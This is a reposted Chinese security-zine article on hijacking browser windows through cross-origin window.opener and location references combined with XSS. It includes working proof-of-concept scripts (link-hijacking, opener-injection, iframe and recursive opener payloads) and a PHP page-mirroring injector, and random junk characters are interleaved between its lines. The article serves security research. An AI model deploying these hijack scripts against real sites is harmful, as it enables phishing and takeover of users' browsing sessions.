中国网络渗透测试联盟
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
[打印本页]
作者:
admin
时间:
2012-9-13 17:10
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
==Ph4nt0m Security Team==
6 a% H1 v0 c3 y+ J% [% v6 j" \
+ |& v" R' ^1 T; {8 N
Issue 0x03, Phile #0x05 of 0x07
! I, x, w* w$ m" s0 Z. ?) x
' p$ l) C* k+ E% B2 ?7 g9 E
$ ^4 M+ m/ Y* I: w/ u
|=---------------------------------------------------------------------------=|
/ p" T% {- H; O+ ?+ U" b1 J: F; W
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
; V2 H2 p0 m B" B
|=---------------------------------------------------------------------------=|
" i( g6 t( `5 D5 v
|=---------------------------------------------------------------------------=|
& h8 j7 W6 @3 w4 R( m
|=------------------------=[ By rayh4c ]=---------------------------=|
3 K* s" C, ?" t, ~" n0 y# v8 v
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
$ Y3 f- o/ s4 e, N+ @( S- n7 W
|=---------------------------------------------------------------------------=|
6 _4 j" }" x& V& G" r6 L
4 z5 w0 g* K0 ` q5 |
& o: j4 ^: B% T6 [3 ]4 e1 |8 ~
[目录]
! |3 V7 o9 f% `' x: m
- W" q k# v! O; b G
1. 前言
& k/ n# l) x& d
2. 同源策略简叙
' t" g, z6 W, B
3. 理解window对象的同源策略
! w$ R5 E( }9 X1 t# ]
4. 窗口引用功能中的同源策略漏洞
/ V$ ?1 f+ i9 y1 U. w
4.1 父窗口引用子窗口的同源策略问题
1 l- P' n$ m& X' Q0 t
4.2 子窗口引用父窗口的同源策略问题
! V5 m/ }5 w0 Q, C! C6 D' d+ s
5. 利用窗口引用漏洞劫持浏览器
7 S/ l# r8 M5 L: m
6. 利用XSS漏洞劫持浏览器
4 S: _- u3 t, y( Y2 x0 o3 I
6.1 正向跨窗口劫持
: [+ y& Z$ _0 h5 j* k
6.2 反向跨窗口劫持
3 Z& }1 x, f8 k! L% ^* V2 C7 i
6.3 极度危险的跨框架窗口引用劫持
- _' s+ w Q t8 e4 Z( O) k! U3 H5 w
6.4 极度危险的正反向跨窗口递归劫持
% I0 s7 }, J# k2 w( S
6.5 完全控制浏览器
: c6 K2 p; [' Y. l! g- |6 f+ z T
7. 后记
- H. F1 N, i2 z% p, O
8. 参考
, B2 q/ ?+ {; K/ [5 n& n2 }
9 @2 J% w9 y* {* T9 y
% d* m. t0 [" |% l. I
一、前言
1 \; A7 d1 c9 z
% b$ M* i) v/ t/ @) _9 H
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
8 A8 r, q$ b/ h* B* `
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
4 H8 `1 ?$ Q. ?- V
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
0 D- m0 L! ]' t* D7 f9 J! e, _
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
% s4 ~" G; z" g
+ S/ j1 S5 ]; i4 t# T: L- T) p R
^% P4 K' B5 W# p+ d
二、同源策略简叙
# |& w( \# I: {" L0 {
' T8 c/ Z: Q5 ]
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
6 [, a2 z% `& p
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
: Q0 A1 W' z" D/ O% k
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
9 j# @0 Q7 P# \$ @
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
% ?+ S* | f6 x& A2 P, B9 F
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
7 |. C3 h( i# }* |3 T( k. @
& v" L. T% o' V- {+ }" m
Y0 G8 o$ f5 V1 D$ }
三、理解window对象的同源策略
& |* T' b( }8 A% W1 [/ q5 _$ M! \
3 n5 P) L: _$ q7 |2 Q
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
0 G) c; k+ Q x" d
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
3 _# t) A9 \- \: C4 \( E* a( T
. ~ w3 i1 u3 w
--code-------------------------------------------------------------------------
7 t" G0 V% p- ~- q' y& H1 @
<script language="javascript">
1 g c8 Y/ W$ h* A% i9 d+ {
for(p in window) document.write(p+"<br>");
) k W# {# E; n5 c- ^
</script>
2 J* q9 `9 }* i" e. O5 ]
-------------------------------------------------------------------------------
+ o2 z9 x; z# ~
, I3 g( Q c' d- A q3 r8 R
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
/ L$ X0 \' {+ O# T" M. \6 N# s% m3 n
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
# }' T( c4 G* V |1 ?- E5 E
这些属性和方法就必须遵循同源策略。
9 T9 b2 l L" G) V8 J6 S
# L0 G4 t0 d* ]2 u, R1 W! t: ]
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
3 p, E3 k' ?( ^. x7 j" P
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
2 V2 M! x2 O7 T+ ^& T" F* w& { \
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
% B0 |6 y. D5 ?9 C
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
/ X9 y, F" y; x+ _
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
/ C1 W7 o6 x4 n9 \
属性并没有被拒绝访问。
# n5 K3 q5 {0 ?3 n o J
. s' a" u) M) A8 Z0 P$ G
--demo.html--------------------------------------------------------------------
7 W2 B Q# x0 ^2 X% u
<script language="javascript">
2 N# q+ J1 U4 x6 [3 a
function allPrpos(obj) {
/ @) v& E; k+ x. O
var props = "<table><tr><td>名称</td><td>值</td>";
! |) h; U$ n. c7 O; ^" v
for(var p in obj){
+ A& a, R. G2 c
if(typeof(obj[p])=="function"){
4 D" @) y& t( D0 ^2 q& K) z9 p
obj[p]();
2 `- ?, r7 J2 Z" h) e0 f
}else{
6 Y+ [8 L' N: T: y) g
try
! m' T D) u: ^0 q
{
7 F6 D# p: A* F5 Z) _5 W- B
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
' i% b( z. O& I( w5 e. z
}
Y7 n5 m+ |2 I* n; e. G
catch (ex)
& P2 B8 k( ^+ T/ w4 G _; t _2 a
{
* l2 u, I3 T& l" P" G2 y
! q# K* N9 Z9 P2 H% b
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
/ j- m, V' q& I6 @* d% O9 P
}
! r W$ q) L) {, [& |0 h0 p
- a/ u; I8 l% C/ y
}
. N* {& }9 `/ ^5 x- y( n3 P
}
7 ^ \# O1 O, r" f% e
3 X6 v+ j( p) j
document.write(props+"</table>");
" ?* m) h; p$ Z* L9 X- M# h. `
}
, ^. S2 C7 f* ^ n& a; J
. z' ~$ r6 f% s+ \
function createWin() {
O: O0 d% r B0 W: q
newWin = window.open ("http://www.google.com");
% d; [" M& p p( x, }4 n
setTimeout(function(){allPrpos(newWin)},2000);
$ f. G. x5 ]' s7 `
}
# z P2 G% l+ G
$ U& \! B1 S x1 I6 M3 p; I; u. j
</script>
, ^( W+ f: [0 U+ Q9 A
# s7 W! z6 f3 _- ^% C ^' W
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
' _" ?" t$ K2 I+ r5 T
-------------------------------------------------------------------------------
E( t, a$ u& p) S
* M9 h7 Y) M: m* m* k9 r/ V. }! g
# G' E. }1 {3 Z
四、窗口引用功能中的同源策略漏洞
5 o0 x2 p7 p+ R
9 g; _+ J( T2 E6 J% Z
4.1 父窗口引用子窗口的同源策略问题
' M, }+ g) E. [) G& D
. G1 [5 D- E; z. B7 d1 J
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
/ Z% o+ P: E+ F! V" l
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
- i0 ~+ T: ]6 Z( i' u+ q
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
& ^$ z% _; e9 v( ?2 P. ~% l
行测试,会发现父窗口可以控制非同源子窗口location属性值。
$ r; N9 d+ ^ q/ I- J1 u6 ^8 n5 E
4 T4 p: V6 V6 i7 ]0 T
--vul1.html--------------------------------------------------------------------
+ d; ]# B% u; s. ?" m
<script language="javascript">
) v& w/ U7 E9 r3 O% R- j7 F
function createWin() {
5 c, g) w. ^8 S( P3 n1 H3 Q
newWin = window.open ("http://www.google.com");
* e3 f, [% T# D( S G
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
^: @7 O2 \$ j9 W$ r" X. \
}
9 U5 I: E- D3 i3 s
</script>
& y+ d* y+ l) A* V1 X. d
" {3 D7 U% \3 n' p- _! v
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
$ n9 M5 A& r( r+ D/ V4 w7 l6 F
-------------------------------------------------------------------------------
6 [' r c0 ^: K7 Q" [1 F' q1 m
% P Q; g8 B2 Q0 ?7 P
5 o5 v6 d }9 I1 z* E. D0 Q! y6 w: n
4.2 子窗口引用父窗口的同源策略问题
+ q$ n( n) Y4 d/ d d" T* K
6 m( F6 H9 {9 z2 ]
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
+ \' Y- |6 e" a8 Y
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
! s5 y$ d2 t8 x0 c3 v
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
1 V( f( R7 i+ S! {- X
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
8 U8 M Z A% m3 H' ?" B$ r
, z# a1 G6 N+ N% c& ~/ ] S/ O
--code-------------------------------------------------------------------------
1 M; M" W. Q1 {" Q, X; R& l0 \
3 U+ i/ K2 e4 |6 N
javascript:window.opener.location = "http://www.80sec.com";void(0);
& l- [+ W- ^) s
9 S9 d" g8 J. m3 \4 _
-------------------------------------------------------------------------------
2 e( Y7 V( L, e
* B4 j# ?4 u0 `/ o' }5 o3 M
8 F2 A' G# e; l8 G! M# m
五、利用窗口引用漏洞劫持浏览器
7 _' ?' }; D* t$ V% ^4 h/ P4 }
3 Q0 [& [, H* s6 Z
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
4 u1 \4 W+ H( X: _# A( j/ V5 Z6 d) x6 o
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
: B/ X9 J+ L& P/ B# R6 c
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
4 v, y% a9 e4 q! y. r" R
* m6 m$ x1 Y. ~1 D q* S
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
9 o, \% Y% _0 f& Z+ E
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
( L6 y6 k1 S1 @
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
; j6 l+ }0 M l& j$ E1 F
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
( k# ~* C5 h" M$ F# d
会产生什么可怕的后果。
d# A! }# d; Y% \6 f
4 @6 A6 g: D% f: z8 V
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
8 e8 a- z$ M) V) ~$ J- J" z: Q3 U
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将
http://127.0.0.1/hjk_ref.php
5 ?, s! ?% p5 i* `- R, F! q& J
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
8 H# y' t; l5 W$ P1 d: x. Q
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
4 e9 @! m- q' h( A, g% k
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
+ v2 R+ n; C2 [7 v2 G
2 i! V7 e7 O( W- c: a3 q- V
--hjk_ref.php------------------------------------------------------------------
! V/ {$ B# A) b1 J% l8 {( S' w
<?php
$ C9 ]: a! N& Z1 b# w9 ~% C
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
, z4 w& D. m% m$ F3 ^: @$ j
$Url_Mirror = $_SERVER["HTTP_REFERER"];
/ A! d3 M* c3 A0 {; F
}
" Y' E( c" d+ [6 ]' h% ^( q) _
if(isset ($_GET['ref'])) {
& p4 h$ _3 y" f6 }, L4 m. t) \3 _
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
5 @- l* L! t% U% k
}
* l) L5 [3 I! p
?>
. ^! h- v0 W% ?6 ~" ~) ^2 ]
/ V U- G2 U5 w
<script language="javascript">
& Y3 n- _, H! P) N- Z- d% V8 {
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
+ {8 h: e. f2 Z, ?, b6 O
</script>
5 L* y/ _: ?+ T( n
-------------------------------------------------------------------------------
- ? C' s- l7 V6 p: X6 j0 C" L! @
9 {2 Y$ v7 D9 ^4 E" C
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
8 w2 l% X$ { F1 \% o
) I4 t+ Y( F9 f5 y4 {* n9 l' h
* [& o" w& z! `. B3 D. H
六、利用XSS漏洞劫持浏览器
% |5 J# ? N. O2 y0 _$ {7 l
% D6 W4 v, C6 e+ u5 \( ~) u5 G
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
, L# W* J2 W3 ?; Q
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
' ] U( ~; }5 C
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
9 X& T& w/ x, b" C/ ^, A" T! d/ {
讨论跨站师的终极技巧:
6 w; c0 v2 \* p+ [0 v( o
9 g; m3 y( r" b, l; W! ^$ b
, ^7 ~0 \6 a. R" [
6.1 正向跨窗口劫持
3 _9 E! r1 P4 W* K
: _% O" g: u, t7 {, t, o) T3 ]& E
大家可以先试验下hijack_open.js这个脚本,比如打开
http://bbs.dvbbs.net/
动网论坛
[% K g- D& @- H+ _4 N7 E: Y+ Q1 _; \
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
[* g0 I" g9 K0 g% Q2 i9 I' @$ S
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
4 a, \7 Z# J3 M6 |6 Q) s
框脚本。
3 m7 E' l3 k3 C4 J7 D
& Z$ E$ I, d. e4 ]
--hijack_open.js---------------------------------------------------------------
# P& c# i, k2 A
0 W, J/ r, `2 l) H
javascript:for(i=0;i<document.links.length;i++){document.links
.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
, }' }9 `- s- s# K9 ~
, E E8 {7 [- l; H2 r4 e* E) X }
-------------------------------------------------------------------------------
! l9 W2 S; O( T4 a, Z; [0 ~
& z3 i. n5 p- N
. P9 q2 r5 G. A
6.2 反向跨窗口劫持
8 @3 ], C/ N9 ?
. n$ ?+ {+ A* q# i. B/ Y
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
# v# y0 a& _) x& w; K
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
4 g5 k5 t) B1 M, x9 H) T
框脚本。
( z1 x* c: T: G
# S, T, h. o% P2 R* q2 M
--hijack_opener.js-------------------------------------------------------------
" C$ W' _- _/ ^! }' Z
8 u, a; A# F. ]4 Y( W2 h5 J
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
8 s% a" ?* T4 K: l7 w1 i& w' L
& k! e# o7 q) X0 k5 G$ e. K; B6 e4 w
-------------------------------------------------------------------------------
( l8 Z* q0 u, l1 d/ E1 {5 b( I4 x+ v
& o9 z6 N! v& L; q- x
: f& H& e q/ w0 T1 r( J
6.3 极度危险的跨框架窗口引用劫持
! r/ }. x0 n! o+ d4 E
: U3 ^5 }* z/ ?9 R
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
( g$ Y4 B6 U3 M, y7 T+ ?
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
& r/ ?7 {2 ?) k
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
/ A: ] g1 n! y# E9 }/ [
非持久型的XSS,如下:
$ a; H8 ]0 b* Z2 G* N, O6 x
4 _3 C; m+ J d4 {2 H9 p/ Z& R
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
+ ]' @3 P3 s# z, i5 W. M4 g
0 ^- d0 q% x% T
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
8 R( X5 O2 `2 }% q5 b
注入脚本。
, h* Y5 z5 Y2 G5 ?% D
- Y1 {, L$ \. J4 q
--hijack_frame_opener.js-------------------------------------------------------
; z9 |$ E p G" |7 q
<script>
, k) z1 e: b3 ?% q
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
& v- b W# T* x6 m9 W! X/ ]
</script>
+ V$ m& D. y0 K3 R, N
-------------------------------------------------------------------------------
4 @5 ~( y- ]) `
m8 a u6 v' T2 H+ _4 {( S
0 ?5 [6 ]0 b1 c/ g, U
6.4 极度危险的正反向跨窗口递归劫持
8 G+ E. Q/ V6 p1 t
* n9 |7 j7 H6 ^/ l6 Z2 f8 g% W8 ~
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
! I" X- d) }7 j a
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
Q* O0 x) b0 b
异常处理规避之间跨域页面的访问异常,代码如下:
/ M$ U: Q2 F) f4 ^ ^1 u, Y O
% T; m/ m$ Y4 Y; ~
--code-------------------------------------------------------------------------
( V6 p! U' |) X- S% u @, R: \
- O6 e! w5 N1 s- M% }; A
javascript
function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
6 i2 N4 }. I5 z" k
5 R1 N$ H' t' i8 w3 ^% n8 k {
-------------------------------------------------------------------------------
5 E- R+ K, U/ n2 s+ d, J
, V3 u8 X/ ]) s5 v8 }( L L
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
- ~" L9 d5 K8 A$ [
以劫持B域之前的A域页面,从而实现“隔空打击”。
# u! S( U: `& h( C$ F/ ]
- c$ T/ A3 ?! x1 L* c7 u2 Q4 q
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
% T. ^; j' c l# r$ U! ]
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
( o& x* n2 @1 P$ F3 \: l1 {9 G+ h9 r
0 L$ \; _& [+ w' z/ V* ~
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
) V3 s0 _- T. N1 n0 s9 I/ J
0 N+ m# f. a4 R1 ^' d5 `4 r/ O5 h
9 a6 Z! j, Q9 s) h# M$ f" K. U) L
6.5 完全控制浏览器
3 U4 v( Q* A5 F- Z. F2 o q7 B3 E
+ i9 a$ ? u* ]6 ?9 ]* U
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
3 a2 Y) ^& @7 S* S" l
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
( b3 b* n' ]1 \+ O0 m C7 v+ v5 S* e
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
5 E( V$ \, a1 K+ \# A/ A8 I
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
# s9 n, t4 }# N7 s7 Z' H
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
" `$ _7 R! M. ~; d0 }2 Y5 }7 G
师的终极目标 - 完全控制浏览器。
3 H3 f9 x; {! `! V
- e" Z: o$ {0 W9 t
: J2 [' u/ Z! {4 m) Z
七、后记
# @6 d) o% ?5 O
0 f6 F5 E/ _2 c
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
: \; m0 }4 m# b) l8 W# _
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
0 q, g9 A! T( M; R7 ^" o, A6 J
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
3 S& G9 I& y* W8 H5 W% I4 a* n
9 y9 |* C9 g9 E2 m) V0 K
6 E. ^# ?- h/ `% H" a
八、参考
. Z3 e3 V+ T: y6 g# \6 Z5 y
% Q! Q+ B" Q' P) o- k0 ^
1.
http://en.wikipedia.org/wiki/Same_origin_policy
8 Y4 c( d% F" G' C. M! g* ^
2.
http://code.google.com/p/browser ... licy_for_DOM_access
- Y( ^8 {- s/ Z. {' W
3.
http://www.w3.org/TR/Window/
6 j' @0 p* G1 ]: X. a
4.
http://www.80sec.com/release/browser-hijacking.txt
. w2 z: i6 h- D
5.
http://www.80sec.com/all-browser-security-alert.html
6 H% @; R! _ Y% G+ m0 J
6.
http://www.80sec.com/ms08-058-attacks-google.html
+ ^3 s8 q3 ?' H2 c5 l
) J: [. N1 V9 P6 T) L
-EOF-
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2